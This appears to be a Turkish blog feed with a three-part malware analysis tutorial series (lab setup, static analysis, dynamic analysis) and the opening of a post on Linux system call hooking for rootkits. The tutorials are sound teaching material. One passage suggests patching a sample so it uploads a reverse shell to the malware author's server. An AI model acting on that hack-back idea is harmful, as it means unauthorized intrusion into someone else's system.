<p>Yalnız şuan üzerinde durduğumuz <strong>Malware</strong> üzerinde hiçbir işlem yapmadık.</p>
<p><strong>Hex Editor</strong> ile <strong>Malware</strong>‘mizi açtığımda bu <strong>Malware</strong>‘nin <strong>UPX Packer</strong> ile <strong>Sıkıştırıldığını gördüm.</strong></p>
<p><img src="https://resmim.net/f/IYLRGV.png?nocache" alt="" /></p>
<p>Daha net bir <strong>Debugging</strong> işlemi için bu sıkıştırılmış <strong>Malware</strong>‘yi asıl haline çevirmemiz gerekiyor.</p>
<p>Bunu elimizle halletmemiz gerek.</p>
<p><strong>Statik Analiz (Part 2)</strong> yazım içerisinde <strong>Sıkıştırılmış Zararlı Yazılım</strong>‘ları tekrar eski haline manuel olarak nasıl getirebileceğimizi az çok anlattım.</p>
<p>Bu yüzden canlı olarak nasıl yapıldığını anlatan bir video bırakıyorum buraya :</p>
<p><a href="https://www.youtube.com/watch?v=42bgdnCvQMI">UPX Easily Unpacked All Versions</a></p>
<p>Yada ben bunlarla uğraşmam üşeniyorum diyorsanız. Direk <strong>Malware</strong>‘yi çalıştırıp sonra debuggeriniz ile <strong>Attach</strong> olunuz.</p>
<p><strong>Packer</strong> hafıza içerisinde <strong>Sıkıştırmayı</strong> eski haline getireceğinden <strong>Malware</strong>‘nin tüm koduna direkt olarak ulaşabileceksiniz.</p>
<p><img src="https://resmim.net/f/4gOVxG.png?nocache" alt="" /></p>
<p>Ve <strong>Malware</strong>‘mizin gidişatını inceleyerek yani <strong>Monitor</strong> ederek internet üzerinde yaptığı işlemleri kesinleştirmiş olduk.</p>
<p>Bu seri bir <strong>Malware</strong>‘nin nerelerine ne şekilde bakılmasını, ne şekilde ve nerede incelenmesi gerektiğini anlatmak için oluşturduğum bir seriydi.</p>
<h1 id="the-end">THE END</h1>
<p>Bu yazıda <strong>Dynamic Malware Analysis</strong> konusuna değindik.</p>
<p><strong>Malware Analizi</strong> serimin son partıydı bu.</p>
<p>Tabiki tüm <strong>Malware Analiz</strong> konusu benim anlattığım kadar değil hatta anlattıklarıma temeli bile diyebiliriz.</p>
<p>Benim gözümde yeni çıkan <strong>Malware</strong>‘lerin analizinin yapılması yeni <strong>Zaafiyet</strong> ve <strong>Teknik</strong>‘leri bulmamıza çok yardımcı olacaktır.</p>
<p>Ben analizini yapmak için <strong>Malware</strong> istiyorum diyenlerimiz var ise <strong>Google</strong> dayımıza <strong>Malware Samples</strong> yazması yeterli olacaktır.</p>
<p>Bu serimizinde sonuna geldik. Umarım güzel bir seri okutabilmişimdir sizlere.</p>
<p>İleride yazacaklarıma <strong>Oylama</strong> ile karar veriyorum twitter üzerinden.</p>
<p>Sorunuz varsa çekinmeyin bu konuda veya farklı bir konuda.</p>
<p>Sorular için twitter adresim : <a href="https://twitter.com/0DAYanc">0DAYanc</a></p>Malware Analysis - Dynamic Analysis (Part 3) Merhaba arkadaşlar Malware Analizi serimin üçüncü part’ına hoşgeldiniz.Malware Analysis - Static Analysis (Part 2)2019-05-18T00:00:00+00:002019-05-18T00:00:00+00:00blacknbunny.github.io/2019/05/18/malware-analysis-part-2<h4 id="malware-analysis---static-analysis-part-2">Malware Analysis - Static Analysis (Part 2)</h4>
<p>Merhaba arkadaşlar <strong>Malware Analizi</strong> serimin ikinci part’ına hoşgeldiniz.</p>
<p><img src="https://i.hizliresim.com/0RPDnY.jpg" alt="" /></p>
<p>Bu part içerisinde bir <strong>Malware</strong>‘nin <strong>Statik</strong> analizinin nasıl yapacağını anlatacağım.</p>
<p>İleride ki part içerisinde <strong>Dinamik</strong> analizini anlatacağım.</p>
<p>Bu ikisini ayrı ayrı partlara bölmemin sebebi ikisininde tam olarak derinliklerine ineceğiz. Bu yüzden ikisini ayrı ayrı paylaşma gereği duydum.</p>
<p>Önceki part içerisinden <strong>Win 7</strong> ve <strong>REMnux</strong>‘u kurduğunuzu aynı zamanda <strong>Network</strong> ve <strong>Snapshot</strong> ayarlarını gerçekleştirdiğinizi varsayıp devam ediyorum.</p>
<p>Bu yazımızda <strong>Sanal Makine</strong> kullanmayacağız. Çünkü <strong>Malware</strong>‘yi çalıştırmadan inceleyeceğiz. Yalnız ileride <strong>Dynamic Analysis</strong> yazımda artık bir kaç <strong>Malware</strong> çalıştırmaya başladığımızda <strong>Sanal Makine</strong> kullanacağımız için gerekli olacaktır.</p>
<p>Şimdi yavaştan yazımıza geçelim ve bir <strong>Malware</strong>‘nin <strong>Statik</strong> analizinin nasıl yapacağını anlatalım.</p>
<h2 id="what-the-fk-is-packing-and-obfuscating-">What The F!!K is packing and obfuscating ?</h2>
<p>Bir <strong>Malware</strong>‘nin <strong>Statik</strong> analizini gerçekleştirmeye başlayacağımızda bakmamız gereken ilk noktalardan biri <strong>Pack</strong> ve <strong>Obfuscate</strong> terimleridir.</p>
<p>Hemen bu terimlere daha önce denk gelmeyen arkadaşlar için basitçe anlatayım.</p>
<p><strong>Packing Nedir ?</strong></p>
<ol>
<li>
<p>Dosya sıkıştırma denilebilir basit bir şekilde.</p>
</li>
<li>
<p>Sıkıştırılan dosya kendi içinde aynı zamanda bu sıkıştırmayı çözmek için bir kod bulundurur.</p>
</li>
<li>
<p>Genellikle packlenmiş yani sıkıştırılmış dosyalar bu packing’i kendi içinde çözmek için anahtarlar kullanır.</p>
</li>
<li>
<p>Bir <strong>Zararlı Yazılım</strong>‘ı <strong>Pack</strong>‘lemenin asıl amacı <strong>Ana Kod</strong>‘u <strong>Sıkıştırdıktan</strong> sonra bu <strong>Zararlı Yazılım</strong> çalıştığında <strong>Sıkıştırılmış</strong> kodu <strong>Memory</strong> yani <strong>Hafıza</strong> içerisinde çözmektir.</p>
</li>
<li>
<p>Bir <strong>Malware</strong>‘nin analizini engellemek için ve kafa karıştırmak için çokça kullanılan bir yöntemdir.</p>
</li>
</ol>
<p>Bir <strong>Packing</strong>‘in <strong>Routine</strong>‘ini yani <strong>Rutin</strong>‘ini gösteren googleden bulduğum görsel :
<img src="https://i.hizliresim.com/k92BdJ.png" alt="" /></p>
<p><strong>Obfuscating Nedir ?</strong></p>
<ol>
<li>
<p>İnsanların anlaması için zorlaştırma işlemi denilebilir basit bir şekilde.</p>
</li>
<li>
<p>Bir kodu ne kadar daha az okuna bilir kılarsanız anlaşılmasıda zorlaşır buda bir <strong>Malware</strong>‘nin anlaşılmasını zorlaştıran bir yöntemdir.</p>
</li>
<li>
<p>Örneğin elimizdeki <strong>isim</strong> değişkeni kod içerisinde <strong>vtkej12ns</strong> şeklinde göründüğünde bu değişkenin <strong>isim</strong> alanını tuttuğun anlamak zorlaşır ve buda <strong>Obfuscated</strong> bir değişkendir.</p>
</li>
</ol>
<p>Örnek bir <strong>Obfuscate</strong> edilmiş kod :</p>
<p><img src="https://i.hizliresim.com/0RPn3R.png" alt="" /></p>
<p>Yukarıda bulunan resimdeki basit bir <strong>HTML</strong> ve <strong>Javascript</strong> kodunun ne kadar karmaşıklaştırıldığı anlaşılabilir durumda.</p>
<h2 id="how-to-unpack-and-deobfuscate">How to unpack and deobfuscate</h2>
<p>Öncelikle aşşağıdakileri anlamakta zorluk çekebilecek arkadaşlarımız için bazı terimlerin türkçe karşılığını yazayım :</p>
<p><strong>Portable Executable</strong></p>
<ul>
<li>Çalıştırılabilir dosyamızdır. Buna uzantısı <strong>.exe</strong> vs.. olan dosyalarda denilebilir.</li>
</ul>
<p><strong>Packer</strong></p>
<ul>
<li>Bir yazılımı <strong>Sıkıştırmaya</strong> yarayan yazılım.</li>
</ul>
<p><strong>Unpacker</strong></p>
<ul>
<li><strong>Sıkıştırılmış</strong> kodu eski haline getirmeye yarayan yazılım.</li>
</ul>
<p><strong>PE Sections</strong></p>
<ul>
<li>Çalıştırılabilir dosyamızın içerdiği <strong>Code</strong>, <strong>Data</strong> gibi bilgileri tutan bölümlerdir.</li>
</ul>
<h1 id="detecting-packing-and-unpacking-it">Detecting packing and unpacking it</h1>
<h4 id="detecting-packing">Detecting packing</h4>
<p><strong>Pack</strong> edilmiş bir <strong>Malware</strong>‘yi <strong>Unpack</strong> etmek yani çözmek ise bazen işin en kolay kısmı olabilirken en zor kısmıda olabilir.</p>
<p>Öncelikle pack edilmiş bir <strong>Malware</strong>‘nin hangi pack yazılımını kullandığını bulmamız gerek.</p>
<p>Fakat bunu gerçekleştirebilecek <strong>Yazılım</strong>‘ları göstermeye geçmeden önce önemli bir not eklemek istiyorum. Hangi <strong>pack</strong> bulma yazılımını kullanırsanız kullanın bu yazılımlar sadece bilinen <strong>Packer</strong>‘ların isimlerini tutuyor.</p>
<p>Dolayısı ile bulunamayan bir <strong>Packing</strong> işlemini anlamak için <strong>Portable Executable</strong> yani <strong>Çalıştırılabilir Dosya</strong>‘mızın <strong>PE Section</strong>‘larına bakmamız gereklidir.</p>
<p><strong>Pack</strong> edilmiş bir <strong>Malware</strong>‘nin hangi <strong>Pack</strong> yazılımını kullandığını bulmak için bazı araçlar :</p>
<ol>
<li>
<p>RDG Packer Detector</p>
</li>
<li>
<p>PEiD</p>
</li>
</ol>
<p>Bu verdiğimiz toollardan eğer <strong>Malware</strong>‘nin <strong>Packer</strong> adını çıkarabilirseniz bu <strong>Packer</strong>‘in bir <strong>Unpacker</strong>‘ini bulmaya aramaya başlayabilirsiniz.</p>
<p>Eğer <strong>Packer</strong> adını verdiyse ve bu <strong>Packer</strong> için herhangi bir <strong>Unpacker</strong> bulunmuyorsa kendi ellerinizle işi bitirmeye kendinizi yavaştan hazırlamaya başlayın.</p>
<p><strong>Packer</strong>‘in adını bulamadıysanız şayet <strong>Portable Executable</strong> içerisinde yani <strong>Malware</strong>‘miz içerisinde bir <strong>Packing</strong> işleminin gerçekleştiğini anlamak için <strong>PE Section</strong>‘larına bakmanız yeterli olacaktır.</p>
<p><img src="https://i.hizliresim.com/7aOgOm.png" alt="" /></p>
<p>Yukarıdaki fotorafta örnek bir <strong>Portable Executable</strong>‘nin <strong>UPX Packer</strong> ile <strong>Pack</strong>‘lendiğini görebiliriz.</p>
<p>Genellik ile normal bir <strong>PE</strong>‘nin içerdiği <strong>Section</strong>‘lar dışında <strong>Section</strong>‘lar içeren <strong>PE</strong>‘ler <strong>Packing</strong> işlemine tabir tutulduğunu ortaya dökmemiz için bir yoldur.</p>
<p>Ayrıca sadece <strong>Packing</strong> işlemi değil aynı zamanda bu <strong>Section</strong>‘lar içerisinden <strong>Zararlı Yazılım</strong>‘ın kendi içerisinden farklı bir yazılım çıkarttığı gibi değişik türde durumlara şahit olabilirsiniz.</p>
<h4 id="unpacking">Unpacking</h4>
<p>Dosyanın yani <strong>Malware</strong>‘nin bir <strong>Packing</strong> işlemi içerdiğini anladıktan sonra kendi elimizle <strong>Unpack</strong> etmek için herhangi bir <strong>Debugger</strong> aracılığı ile <strong>Malware</strong>‘yi izleyip kendini <strong>Memory</strong> İçerisinde <strong>Unpack</strong> ettikten sonra <strong>Unpack</strong> edilmiş <strong>Kodu</strong> dışarıya bir <strong>.exe</strong> olarak aktarabiliriz.</p>
<p>Bir arkadaşımız <strong>Amber Packer</strong> adında bir <strong>Packing</strong> yazılımı geliştirdi. Yukarıda bahsettiğimiz toollardan neredeyse hepsi bunu bulamıyor.</p>
<p>Ve bulamamasına rağmen yukarıda bahsettiğim tekniği kullanıp bu <strong>Packing</strong> edilmiş dosyayı <strong>Unpack</strong> edip bunu blog yazısına döken sevdiğim bir arkadaşımın blog yazısı :</p>
<p><a href="https://robindimyan.blogspot.com/2018/02/dkhos-rev300-cozumu.html">Amber unpacking</a></p>
<h1 id="detecting-obfuscating-and-deobfuscating-it">Detecting obfuscating and deobfuscating it</h1>
<h4 id="detecting-obfuscating">Detecting Obfuscating</h4>
<p><strong>Detecting</strong> kısmı çok basit.</p>
<p>Anlaşılabilir bir <strong>Kod</strong> ise şayet <strong>Obfuscated</strong> bir <strong>Kod</strong> değildir.</p>
<p>Anlaşılmaz bir <strong>Kod</strong> ise <strong>Obfuscated</strong> bir <strong>Kod</strong> olduğu söylenebilir.</p>
<p><img src="https://i.hizliresim.com/V9ZYvB.png" alt="" /></p>
<h4 id="deobfuscating">Deobfuscating</h4>
<p>Bir <strong>Obfuscated</strong> kodu <strong>Deobfuscate</strong> etmek için <strong>Değişkenlerin</strong>, <strong>Fonksiyonların</strong> neler yaptığını takip edip sonra yaptığı şeye göre tekrar isimlendirebilirsiniz.</p>
<p>Ya da internette bulunan <strong>Deobfuscation Tool</strong>‘larından yararlanabilirsiniz.</p>
<p>Buraya 13 tanesinin listelendiği bir forum post’unu bırakıyorum :</p>
<p><a href="https://rstforums.com/forum/topic/103595-13-deobfuscation-tools-for-reverse-engineers/">13 Deobfuscator Tools</a></p>
<p>Basit bir şekilde bir <strong>Malware</strong>‘nin yapılması gereken ilk iki <strong>Statik</strong> analizinden bahsettim.</p>
<p>Şimdi yavaştan <strong>Malware</strong>‘mizin diğer <strong>Statik</strong> analizlerini yapıp <strong>Zararlı yazılımımızı</strong> dahada yakından tanıyalım.</p>
<h2 id="linked-libraries-and-functions">Linked Libraries And Functions</h2>
<p>Bir <strong>Malware</strong>‘yi yani <strong>Zararlı Yazılım</strong>‘ı daha yakından tanımak için içerdiği <strong>Kütüphane</strong> ve <strong>Fonksiyon</strong>‘lara bakmamız yeterli olacaktır.</p>
<p>15 kilo dumbell’ı kanadıma çektikten sonra bu kısımı daha da derinden inceleyeceğiz.</p>
<p>Ve çokta zorlu olmayan setlerden sonra geldim.</p>
<p>Şimdi örnek bir <strong>Malware</strong>‘nin <strong>Kütüphane</strong> ve <strong>Fonksiyon</strong>‘larını listelemek için kendi yazdığım <a href="https://github.com/blacknbunny/peanalyzer">peanalyzer</a> tool’unu kullanıp <strong>Malware</strong>‘miz neler yapıyor inceleyelim.</p>
<p>Tool’u indirdikten sonra :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python peanalyzer.py --file file.exe --show imports
</code></pre></div></div>
<p>Demeniz yeterli olacaktır.</p>
<p>Sonrasındaki çıktıda <strong>Kütüphaneler</strong> içerisinden <strong>Program</strong> içerisinde hangi fonksiyonların kullanıldığını listelemiş olacağız.</p>
<p><img src="https://i.hizliresim.com/169dp1.png" alt="" /></p>
<p>Bu bir <strong>Malware</strong>‘nin kullandığı fonksiyonlar değil yalnız bu <strong>Fonksiyonlar</strong> arasından <strong>ShellExecuteW</strong>, <strong>GetCurrentProcess</strong> gibi <strong>Fonksiyonlar</strong> genellik ile <strong>Malware</strong>‘ler tarafından kullanılıyor.</p>
<p>Burada objektif bir şekilde anlatıyorum size bunu. Artık siz kendi inceleyeceğiniz <strong>Malware</strong>‘yi daha yakından tanımak için neler yapmanız gerektiğini daha iyi anlayacaksınız.</p>
<p>Yani bir <strong>Zararlı Yazılım</strong>‘ın herhangi bir <strong>Internet Sayfasından</strong> dosya indirdiğini <strong>Fonksiyonlar</strong> aracılığıyla görmek mümkün.</p>
<p>Ve bu sayede kafanızda <strong>Zararlı Yazılım</strong>‘ın neler yaptığına dair kafamızda bir şema olacaktır.</p>
<p><strong>Kütüphaneler</strong>‘in ve <strong>Fonksiyon</strong>‘ların <strong>Statik</strong> bir analiz içerisinde ne gibi büyük bir rol oynadığını bu şekilde anlayabilirsiniz.</p>
<h2 id="disassemble-decompiling-patching">Disassemble, Decompiling, Patching</h2>
<h4 id="disassemble">Disassemble</h4>
<p><strong>Statik</strong> bir analiz içerisinde ayrıca <strong>Malware</strong>‘nin nasıl bir gidişat izlediğini görmek ve düzenlemek bize ayrıca büyük bir avantaj sağlar.</p>
<p>Yukarıda da kullandığımız <a href="https://github.com/blacknbunny/peanalyzer">peanalyzer</a> tool’u yazılımları <strong>Disassemble</strong> etmemize yarıyor.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python peanalyzer.py --file file.exe --disassemble all
</code></pre></div></div>
<p><img src="https://i.hizliresim.com/jgEnDn.gif" alt="" /></p>
<p><strong>File.exe</strong>‘yi bir malware olarak düşünürsek şayet <strong>Assembly</strong> dilinde neler yaptığını incelememiz çok yararlı olacaktır.</p>
<h4 id="decompiling">Decompiling</h4>
<p>Şayet bazı <strong>Malware</strong>‘leri <strong>Assembly</strong> değilde kendi dilinden okumak mümkün olabiliyor.</p>
<p>Örneğin bir <strong>C#</strong> ile yazılan <strong>Malware</strong>‘nin <strong>Kaynak Kod</strong>‘u verilmesede bazı araçlar ile o <strong>Kaynak Kod</strong>‘u almak mümkün.</p>
<p>Yani kısaca <strong>Compile</strong> edilip <strong>Assembly</strong>‘e çevirilen bir kodu tekrar eski haline çevirmek <strong>Decompiling</strong> oluyor.</p>
<p>Dahada kısaca aşşağıdaki fotorafı tersine çevirdiğinizde olan şey basit bir şekilde <strong>Decompiling</strong>.</p>
<p><img src="https://i.hizliresim.com/zjW4ZY.png" alt="" /></p>
<h4 id="patching">Patching</h4>
<p><strong>Hex Code</strong>‘ları yani <strong>Shellcode</strong>‘ları ile oynama zamanı geldi demek bu.</p>
<p>Diyelim ki <strong>Zararlı Yazılım</strong>‘ı geliştiren kişi <strong>UploadFileToServer</strong> adında bir fonksiyon geliştirdi <strong>Program</strong> içerisinde.</p>
<p>Ve sizin bazı özel dosyalarınızı kendi <strong>Sunucu</strong>‘suna yüklüyor. Ve bu şekilde <strong>Sunucu</strong>‘dan direk bu dosyalara ulaşabiliyor.</p>
<p>Diyelim ki bu <strong>Fonksiyon</strong> 1 adet string alıyor parametre olarak. Ve bu parametrede yükleyeceği dosya olsun.</p>
<p>Ve bu parametreyide <strong>Zararlı Yazılım Geliştiricisi</strong> özel olarak <strong>secret.txt</strong> olarak atadı.</p>
<p>Şayet biz bunu program içerisinde <strong>Hex Code</strong>‘ları arasında değiştirip <strong>reverseshell.php</strong> adında kendi yazdığımız küçük bir <strong>Reverse Shell</strong> kodları içeren <strong>PHP</strong> dosyası ile değiştirdik.</p>
<p>Ve bilgisayarımızdan <strong>PORT</strong>‘u dinlemeye başladık.</p>
<p>Bu dosya <strong>Remote Server</strong>‘e yükleneceğinden. <strong>Zararlı Yazılım</strong> geliştiricisinin sunucusuna basit bir şekilde ulaşabileceğiz.</p>
<p>Ve basit bir şekilde <strong>Patching</strong> bu.</p>
<h2 id="pe-i̇çerisinden-alabileceğimiz-bilgiler">PE İçerisinden Alabileceğimiz Bilgiler</h2>
<p><strong>TimeDateStamp</strong> : Yazılan <strong>Program</strong>‘ın yani <strong>Zararlı Yazılım</strong>‘ın ne tarihte ve ne zamanda <strong>Compile</strong> edildiği bilgisini tutar.</p>
<p>Bu bilgi değiştirilebilirdir <strong>Expert Malware Developer</strong> arkadaşlarımız genellikle bunun yerine sahte bir bilgi koymayı tercih eder malum çok büyük bir yazılım ise şayet devlet baba uyumuyor.</p>
<p><img src="https://i.hizliresim.com/grNoE0.png" alt="" /></p>
<p>Bunun dışında <strong>Yazılım</strong>‘ın hangi dil ile geliştirdiği,</p>
<p><strong>Compiler</strong> olarak ne kullanıldığı dair tüm bilgileri içerir.</p>
<p><strong>Windows</strong>‘un <strong>PE</strong> dökümantasyonu :</p>
<p><a href="https://docs.microsoft.com/en-us/windows/desktop/debug/pe-format">PE Format</a></p>
<h2 id="statik-analiz-için-işimizi-kolaylaştıracak-kaynaklar-ve-birkaç-tool">Statik analiz için işimizi kolaylaştıracak kaynaklar ve birkaç tool</h2>
<h4 id="genellikle-kullandığım-araçlar-">Genellikle kullandığım araçlar :</h4>
<ul>
<li>
<p><strong>RegShot</strong> : <strong>Malware</strong> çalışmadan önce <strong>Registry</strong>‘i kaydedip çalıştıktan sonraki ile karşılaştırmamıza yarıyor. Basitce <strong>Malware</strong>‘nin <strong>Registry</strong> içerisinde neleri değiştirdiğini inceleyebiliriz.</p>
</li>
<li>
<p><strong>PE-Bear</strong> : Zamanında <strong>CIA</strong>‘inde kullandığı bir <strong>PE View</strong> aracı.</p>
</li>
</ul>
<h4 id="güzel-kaynaklar-">Güzel kaynaklar :</h4>
<p><a href="http://malwareanalysis.tools/">malwareanalysis.tools</a> : Web sayfası içerisinden analizini yaptığınız malware için ne gerekiyorsa basit bir şekilde ulaşabilmenizi sağlayan yararlı bir sayfa.</p>
<p><a href="https://github.com/rshipp/awesome-malware-analysis">awesome-malware-analysis</a> : Güzel bir <strong>Cheat Sheet</strong> malware analizi için.</p>
<h2 id="the-end">THE END</h2>
<p>Umarım yazıyı okurken keyif almışsınızdır.</p>
<p>Sorular için twitter : <a href="https://twitter.com/0DAYanc">0DAYanc</a></p>Malware Analysis - Static Analysis (Part 2)Malware Analysis - Lab Setup (Part 1)2019-05-16T00:00:00+00:002019-05-16T00:00:00+00:00blacknbunny.github.io/2019/05/16/malware-analysis-part-1<h1 id="malware-analysis-part-1">Malware Analysis (Part 1)</h1>
<p>Merhaba arkadaşlar <strong>Malware Analizi</strong> serimin ilk part’ına hoşgeldiniz.</p>
<p>Bu part içerisinde bir <strong>Malware</strong>‘nin <strong>Analiz</strong>‘ini yapacağımız <strong>Lab</strong>‘ı oluşturacağız.</p>
<p>Teknik konulara ileriki partlarda değineceğiz. Şimdi <strong>Lab</strong>‘imizi kurmaya geçelim yavaştan.</p>
<p><strong>Malware</strong> kelimesine daha önce denk gelmeyen arkadaşlar için <strong>Twitter</strong>‘de denk geldiğim bir arkadaşın blog yazısını bırakıyorum buraya :</p>
<p><a href="https://uae-ii.blogspot.com/2019/02/kotu-amacl-yazlm-nam-diger-malware.html">Blog yazısı</a></p>
<p>Bu <strong>Lab</strong> için ben <strong>VMware</strong> kullanacağım <strong>sanal makine</strong> olarak.</p>
<p>Ayrıca ben bir <strong>Portable Executable</strong>‘ın analizini yapacağımdan <strong>Win 7</strong> kurdum test makinesi olarak.</p>
<p><img src="https://i.hizliresim.com/V9Za9V.png" alt="" /></p>
<p>Bunun dışında birde <strong>Malware</strong>‘nin :</p>
<ul>
<li>
<p><strong>HTTP</strong></p>
</li>
<li>
<p><strong>HTTPS</strong></p>
</li>
<li>
<p><strong>DNS</strong></p>
</li>
<li>
<p><strong>SMTP</strong></p>
</li>
<li>
<p><strong>POP3</strong></p>
</li>
<li>
<p><strong>FTP</strong></p>
</li>
</ul>
<p><strong>Protokolleri</strong> gibi ağ üzerinde gerçekleştirdiği <strong>request</strong>‘leri dinleyeceğimiz ve <strong>Win 7</strong>‘nin <strong>gateway</strong>‘i olarak kullanacağımız <strong>Tersine Mühendis</strong>‘leri ve <strong>Malware
Analist</strong>‘leri için özel geliştirilmiş <strong>REMnux</strong>‘u kullanacağım.</p>
<p><img src="https://i.hizliresim.com/V9Za9r.png" alt="" /></p>
<p>Eğer <strong>işletim sistem</strong>‘lerinde tamamsak şayet şimdi <strong>Network Configuration</strong> kısmımıza geçmeden önce biraz <strong>Statik</strong>, <strong>Dinamik</strong>, <strong>Snapshot</strong> ve <strong>Malware</strong> anahtar kelimelerinden bahsedelim.</p>
<h1 id="dynamic-vs-static-analysis">Dynamic vs Static Analysis</h1>
<p>Örnek veriyorum elimizde bir <strong>Portable Executable</strong> yani çalıştırılabilir bir dosyamız var <strong>Malware</strong> olarak. Bu <strong>Malware</strong>‘yi çalıştırmadan ne yaptığını anlamak <strong>Statik Analiz</strong> ile mümkün. Anlatmaya devam etmeden önce <strong>Statik</strong> ve <strong>Dinamik</strong> analizlerinin neler olduklarına bir bakalım.</p>
<ul>
<li>
<p><strong>Static Analysis</strong></p>
<ol>
<li>
<p><strong>Malware</strong>‘yi çalıştırmadan incelemek</p>
</li>
<li>
<p><strong>Disassemble</strong> edip içerisinde bulunduğu instructionları gözlemlemek</p>
</li>
<li>
<p>İçerdiği <strong>Library</strong> ve <strong>Function</strong>‘ları görüntülemek</p>
</li>
<li>
<p>İçerdiği <strong>String</strong>‘leri görüntülemek</p>
</li>
<li>
<p><strong>Pack</strong> edildimi edilmedimi <strong>PEid</strong> gibi bir tool ile test etmek</p>
</li>
</ol>
</li>
</ul>
<p><img src="https://uldissprogis.files.wordpress.com/2016/01/static-analysis-dynamic-analysis.jpg?w=640" alt="" /></p>
<ul>
<li><strong>Dynamic Analysis</strong>
<ol>
<li>
<p><strong>Malware</strong>‘yi çalışırken incelemek</p>
</li>
<li>
<p>Bir <strong>Debugger</strong> aracılığı ile içerisindeki instructionları gözlemlemek</p>
</li>
<li>
<p>Bir <strong>Sanal Makine</strong> içerisinde <strong>Snapshot</strong> aldıktan sonra çalıştırıp <strong>Etkisini</strong> gözlemleyip eski <strong>Snapshot</strong>‘a geri dönmek</p>
</li>
<li>
<p><strong>Malware</strong>‘i çalıştırmadan önce <strong>RegShot</strong> gibi bir tool ile <strong>Registry</strong>‘nin <strong>Shot</strong>‘unu alıp <strong>Malware</strong> çalıştıktan sonraki <strong>Registry</strong> ile karşılaştırmak</p>
</li>
<li>
<p><strong>Malware</strong> çalıştıktan sonra <strong>REMnux</strong> gibi bir <strong>İşletim Sistemi</strong> içerisinden <strong>Malware</strong>‘nin gerçekleştirdiği <strong>Protocol Request</strong>‘lerini gözlemlemek</p>
</li>
</ol>
</li>
</ul>
<p>Tabi bu yukarıda saydıklarımız sadece bir kaçı. İleride bazılarını daha detaylı inceleyeceğimizden şimdilik sadece kafanızda <strong>Dinamik</strong> ve <strong>Statik</strong> analizlerinin neler olduklarına dair bir şema oluşması için yukarıda ekleme yaptım.</p>
<p><strong>Dinamik Analiz</strong> bize <strong>Malware</strong>‘yi anlamamız açısından daha iyi yardımcı olacaktır <strong>Yüzeysel</strong> olarak.</p>
<p><strong>Malware</strong> çalıştırdığımız <strong>Sanal Makine</strong> içerisinden asıl makinemize ulaşmaya çalışıyor olması bile muhtemel olabilir.</p>
<p>Bu yüzden bu <strong>Malware</strong>‘yi çalıştırdıktan sonra ne olursa olsun bizim <strong>Ana Makinemize</strong> dokunmayacağından hem <strong>Network</strong> hemde <strong>VM Escape</strong> açısından korunaklı olduğumuzdan emin olmamız lazım.</p>
<p>Bu açıdan <strong>Ağ</strong>‘ımızı asıl makinemize ulaşılamayacak şekilde düzenlememiz yani <strong>Host</strong>‘tan <strong>İzole</strong> etmemiz ve <strong>Sanal Makine</strong>‘nin bir <strong>Snapshot</strong>‘unu almamız gerekiyor.</p>
<h1 id="virtual-network-and-snapshot">Virtual Network and Snapshot</h1>
<p><strong>Snapshot</strong> nedir ? :</p>
<ul>
<li><strong>Makine</strong>‘mizin alınmış bir kopyasıdır. <strong>Malware</strong> çalıştıktan sonra <strong>Sanal Makine</strong> içerisinde <strong>Kırılmalar</strong> oluşabilir bu yüzden tekrar eski haline getirmek için bir <strong>Snapshot</strong>‘unu almamız gereklidir.</li>
</ul>
<p><strong>VMware</strong> içerisinde bulunan <strong>Sanal Makinemiz</strong> için bir <strong>Snapshot</strong> alalım :</p>
<p><img src="https://i.hizliresim.com/r5qM5N.png" alt="" /></p>
<p><strong>Snapshot</strong>‘umuzu aldığımıza göre şimdi <strong>Network Configuration</strong> kısmına geçebiliriz.</p>
<p>Bu kısımı görsel ile anlatmak biraz uzun sürebilir bu yüzden hem <strong>REMnux</strong> hemde <strong>Win 7</strong> için <strong>Ağ</strong> ayarlarını yaptığım ve nasıl yapıldığını anlattım.</p>
<p>Ayrıca bir <strong>Malware</strong>‘nin <strong>Protocol Request</strong>‘lerini canlı olarak nasıl izlendiğini anlattığım videoma alıyım sizleri :</p>
<p><a href="https://youtu.be/oCO3xsIktng">Network Visulation & Malware Request Track Youtube Vid</a></p>
<h1 id="video-hakkında">Video hakkında</h1>
<p>Bu videoda kullandığım <strong>inetsim</strong>, <strong>fakedns</strong> gibi toollar bize sahte protocol sunucuları oluşturdu.</p>
<p>Video içerisinde anlattığım <strong>Route Traffic</strong> olayıda basit bir şekilde bilgisayarı ve interneti olan bir kişi <strong>Google</strong>‘ye girmek isterse bu trafik <strong>Gateway</strong>‘inden geçer ve bu gateway ancak izin verirse istediği yere ulaşabilir <strong>Google</strong>‘ye girmek isteyen kişi.</p>
<p>Bizde normal bir <strong>Gateway</strong> kullanmak yerine <strong>Win 7</strong> için <strong>Gateway</strong> olarak <strong>REMnux</strong>‘umuzu kullandık.</p>
<p>Dolayısıyla <strong>Win 7</strong> içerisinde geçen tüm <strong>Request</strong>‘ler bizim <strong>REMnux</strong>‘umuz içerisine yönlendirildi.</p>
<p>Bu şekilde de <strong>Malware</strong>‘mizin internet üzerinde yaptığı tüm istekleri izleyebilir hale geldik.</p>
<h1 id="the-end">THE END</h1>
<p><strong>Malware Analysis</strong> serimizin ilk part’ını umarım keyifle okumuşsunuzdur.</p>
<p>İlerideki partlarda <strong>Static</strong> ve <strong>Dynamic</strong> analizlere deyineceğim.</p>
<p>Ve dahada ileriki partlarda dahada teknik detaylara gireceğiz.</p>
<p>Sağlıcakla Kalın !</p>Malware Analysis (Part 1)Linux System Call Hooking2019-05-07T00:00:00+00:002019-05-07T00:00:00+00:00blacknbunny.github.io/2019/05/07/linux-system-call-hooking<h1 id="linux-system-call-hooking">Linux System Call Hooking</h1>
<p>Merhaba arkadaşlar <strong>Linux System Call Hooking</strong> isimli yazıma hoşgeldiniz.</p>
<p>Bu yazımda sizlere türkçe adı ile <strong>Sistem Çağrısı Kancalama</strong>‘yı anlatacağım.</p>
<p><strong>System Call</strong> nedir kısmına gelmeden önce <strong>rootkit</strong>‘lerin <strong>System Call Hooking</strong>‘i neden sıklıkla kullandığını anlatayım.</p>
<p>Örneğin düşünelim ki bir <strong>Rootkit</strong> yazdık ve bu <strong>Rootkit</strong>‘in sistem içerisinde kendini gizlemesi lazım zaten <strong>rootkit</strong>‘lerin en büyük gereksinimlerinden biri kendini gizlemesi.</p>
